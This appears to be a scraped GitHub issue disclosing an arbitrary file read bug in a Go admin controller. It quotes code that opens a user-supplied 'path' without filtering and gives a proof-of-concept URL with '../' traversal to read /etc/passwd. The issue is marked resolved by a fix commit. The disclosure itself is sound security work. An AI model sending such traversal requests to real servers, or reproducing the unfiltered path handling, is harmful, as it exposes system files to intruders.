Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
internal/controllers/admin/setting/adminSystemController.go line 135 c.Query("path")The incoming path value is not filtered, resulting in arbitrary file reading
internal/controllers/admin/setting/adminSystemController.go
c.Query("path")
filePath := gstrings.JoinStr(configs.RootPath, c.Query("path")) fi, err := os.Open(filePath) if err != nil { con.ErrorHtml(c, err) return }
http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
The text was updated successfully, but these errors were encountered:
fix:issues #8 #9
726109f
resolved
Sorry, something went wrong.
No branches or pull requests
Vulnerability file address
internal/controllers/admin/setting/adminSystemController.goline 135c.Query("path")The incoming path value is not filtered, resulting in arbitrary file readingPOC
http://ip:port/admin/setting/system/view?path=../../../../../../../../../../../../../../../../../../../../../../../etc/passwdAttack results pictures
The text was updated successfully, but these errors were encountered: